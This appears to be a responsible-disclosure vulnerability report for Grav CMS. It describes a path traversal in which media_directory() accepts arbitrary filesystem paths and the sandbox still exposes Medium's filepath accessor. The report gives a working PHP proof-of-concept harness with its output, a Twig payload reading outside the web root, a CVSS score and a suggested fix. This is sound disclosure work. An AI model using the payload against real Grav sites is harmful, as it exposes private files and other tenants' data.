protected function init()
{
    $path = $this->getPath();

    // Handle special cases where page doesn't exist in filesystem.
    if (!$path || !is_dir($path)) {
        return;
    }
    ...
    $iterator = new FilesystemIterator($path, FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS);

    foreach ($iterator as $file => $info) {
        ...
        [$basename, $ext, $type, $extra] = $this->getFileParts($filename);
        if (!in_array(strtolower((string) $ext), $media_types, true)) {
            continue;
        }
        ...
    }

$path here is whatever was passed to the Media constructor, the raw, unvalidated string from mediaDirFunc().

system/config/security.yaml, the Medium sandbox allow-list and the comment directly above it:

    # ...
    # dangerous surface (save, set, copy, deleteFile, toArray, filepath, …) is
    # absent from ALLOWED_ACTIONS and stays blocked.
    - class: 'Grav\Common\Page\Medium\Medium'
      methods: 'url, html, filepath, filename, metadata, srcset, parsedownelement, __tostring, @media_actions'

filepath is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later.

media_directory in the sandbox's function allow-list:

    - media_directory

Root cause

Two gaps, and the second one converts the first from "list filenames from a directory" into "read the content of files":

1. mediaDirFunc()'s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path.
2. Once a Medium object exists for a file outside any intended scope, the sandbox still hands page content the filepath accessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes.

Proof of concept, verified, real output

I built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav's own composer.lock pins for every class involved: getgrav/grav itself, rockettheme/toolbox (for UniformResourceLocator::isStream()), pimple/pimple (the DI container Grav\Common\Grav extends), and psr/container.

Step 1, confirm the pinned commits used:

$ python3 -c "
import json
d = json.load(open('composer.lock'))
for name in ('rockettheme/toolbox','pimple/pimple','psr/container'):
    for pkg in d['packages']:
        if pkg['name'] == name:
            print(name, pkg['source']['reference'])
"
rockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d
pimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce
psr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963

Step 2, clone each at that exact commit:

$ git clone https://github.com/rockettheme/toolbox.git && cd toolbox && git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d
$ git clone https://github.com/silexphp/Pimple.git && cd Pimple && git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce
$ git clone https://github.com/php-fig/container.git && cd container && git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963

Step 3, PoC script. It registers a real Grav container (the actual class, not a stub) with a real UniformResourceLocator that only has user/image streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified Grav\Common\Page\Media class exactly the way mediaDirFunc() does, on a plain filesystem path standing in for "some directory outside the intended scope" (I used a throwaway /tmp directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, /etc, another tenant's directory on shared hosting, Grav's own non-webroot folders, etc):

<?php
// media_traversal_poc.php
spl_autoload_register(function ($class) {
    if (strpos($class, 'Grav\\') === 0) {
        $rel = str_replace('Grav\\', '', $class);
        $path = '/home/claude/grav/system/src/Grav/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
    if (strpos($class, 'RocketTheme\\Toolbox\\') === 0) {
        $rel = str_replace('RocketTheme\\Toolbox\\', '', $class);
        $parts = explode('\\', $rel);
        $top = array_shift($parts);
        $path = '/home/claude/toolbox/' . $top . '/src/' . implode('/', $parts) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
    if (strpos($class, 'Pimple\\') === 0) {
        $rel = str_replace('Pimple\\', '', $class);
        $path = '/home/claude/Pimple/src/Pimple/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
    if (strpos($class, 'Psr\\Container\\') === 0) {
        $rel = str_replace('Psr\\Container\\', '', $class);
        $path = '/home/claude/container/src/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
});

use Grav\Common\Grav;
use Grav\Common\Page\Media;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

// Minimal stand-ins for Config/Pages, only the specific methods the real
// Media/MediumFactory/Medium classes actually call. Everything downstream
// of these calls is the real, unmodified Grav source under test.
class FakeConfig {
    private $mediaTypes;
    public function __construct() {
        $this->mediaTypes = array_fill_keys(
            ['jpg','jpeg','png','gif','svg','txt','json','xml','pdf','doc','docx'],
            ['type' => 'file', 'mime' => 'application/octet-stream']
        );
        $this->mediaTypes['jpg'] = ['type' => 'image', 'mime' => 'image/jpeg'];
        $this->mediaTypes['png'] = ['type' => 'image', 'mime' => 'image/png'];
    }
    public function get($key, $default = null) {
        if ($key === 'system.media.enable_media_timestamp') return false;
        if ($key === 'media.types') return $this->mediaTypes;
        if (strpos($key, 'media.types.') === 0) {
            $ext = substr($key, strlen('media.types.'));
            return $this->mediaTypes[$ext] ?? $default;
        }
        return $default;
    }
}
class FakePages {
    public function get($path) { return null; }
}

$locator = new UniformResourceLocator('/home/claude/grav');
$locator->addPath('user', '', ['user']);
$locator->addPath('image', '', ['user/images']);

$grav = new Grav([
    'locator' => function () use ($locator) { return $locator; },
    'config'  => function () { return new FakeConfig(); },
    'pages'   => function () { return new FakePages(); },
]);
$ref = new ReflectionClass(Grav::class);
$prop = $ref->getProperty('instance');
$prop->setAccessible(true);
$prop->setValue(null, $grav);

// Stand-in for "somewhere outside the intended scope". Using /tmp so the
// PoC is safe to run here, the mechanism is identical for /etc or any
// other web-server-readable path.
$target = '/tmp/outside-grav-webroot-demo';
@mkdir($target);
file_put_contents($target . '/secret-notes.txt', "internal notes, not meant to be public\n");
file_put_contents($target . '/config-snippet.json', '{"api_key":"REDACTED-EXAMPLE-abc123"}');
file_put_contents($target . '/random.bin', random_bytes(16)); // not a recognized media type

echo "=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\n";
echo "Target directory: $target\n";
echo "Is it registered as a Grav stream? " . ($locator->isStream($target) ? 'yes' : 'no') . "\n\n";

// This mirrors mediaDirFunc() exactly: isStream() check, then new Media().
if ($locator->isStream($target)) {
    $resolved = $locator->findResource($target);
} else {
    $resolved = $target; // the vulnerable fallthrough
}

$media = new Media($resolved);

echo "Files Media discovered in that directory:\n";
foreach ($media->all() as $filename => $medium) {
    echo "  - $filename (" . get_class($medium) . ")\n";
    // filepath is allow-listed for Medium in the real sandbox config.
    echo "      .filepath  => " . $medium->get('filepath') . "\n";
    echo "      file content (read from that path):\n";
    echo "      \"" . trim((string) @file_get_contents($medium->get('filepath'))) . "\"\n\n";
}

Step 4, run it:

$ php media_traversal_poc.php

Actual output:

=== Grav\Common\Page\Media, real unmodified source, given a plain filesystem path ===
Target directory: /tmp/outside-grav-webroot-demo
Is it registered as a Grav stream? no

Files Media discovered in that directory:
  - config-snippet.json (Grav\Common\Page\Medium\Medium)
      .filepath  => /tmp/outside-grav-webroot-demo/config-snippet.json
      file content (read from that path):
      "{"api_key":"REDACTED-EXAMPLE-abc123"}"

  - secret-notes.txt (Grav\Common\Page\Medium\Medium)
      .filepath  => /tmp/outside-grav-webroot-demo/secret-notes.txt
      file content (read from that path):
      "internal notes, not meant to be public"

random.bin is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav's own default media.types list (txt, json, ...), not because of anything I loosened in the stub.

This is the equivalent of a real page containing {{ media_directory('/etc').files }} (or any other path outside the site) being able to enumerate and, via .filepath on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.

Impact

Any user who can author page content that gets Twig-processed, which includes, per Grav's own code comments, all modular page content unconditionally, plus any regular page with process.twig: true, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (txt, json, xml, pdf, doc, docx, images, and more by default). This is not limited to Grav's own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants' files, and even within a single Grav install it reaches well outside the user:///theme:// scope the sandbox is meant to constrain content authors to.

Suggested fix

In mediaDirFunc(), when $media_dir is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with realpath() that the result is contained within an explicitly allowed root (for example user://) before constructing Media. Separately, resolve the contradiction in system/config/security.yaml, either remove filepath from the Medium allow-list to match the stated intent in the comment above it, or, if some sandboxed use of filepath is genuinely needed, scope it so it cannot be combined with an unbounded media_directory() to reach arbitrary paths.

=========================================================== CWE FIELD

CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

=========================================================== CVSS CALCULATOR SELECTIONS (v3.1)

Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None

Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium

Note for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav's own system/site/theme config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats "reads any file on disk" as categorically worse than "reads this app's own config".

=========================================================== SEVERITY FIELD

Moderate, possibly High, see note above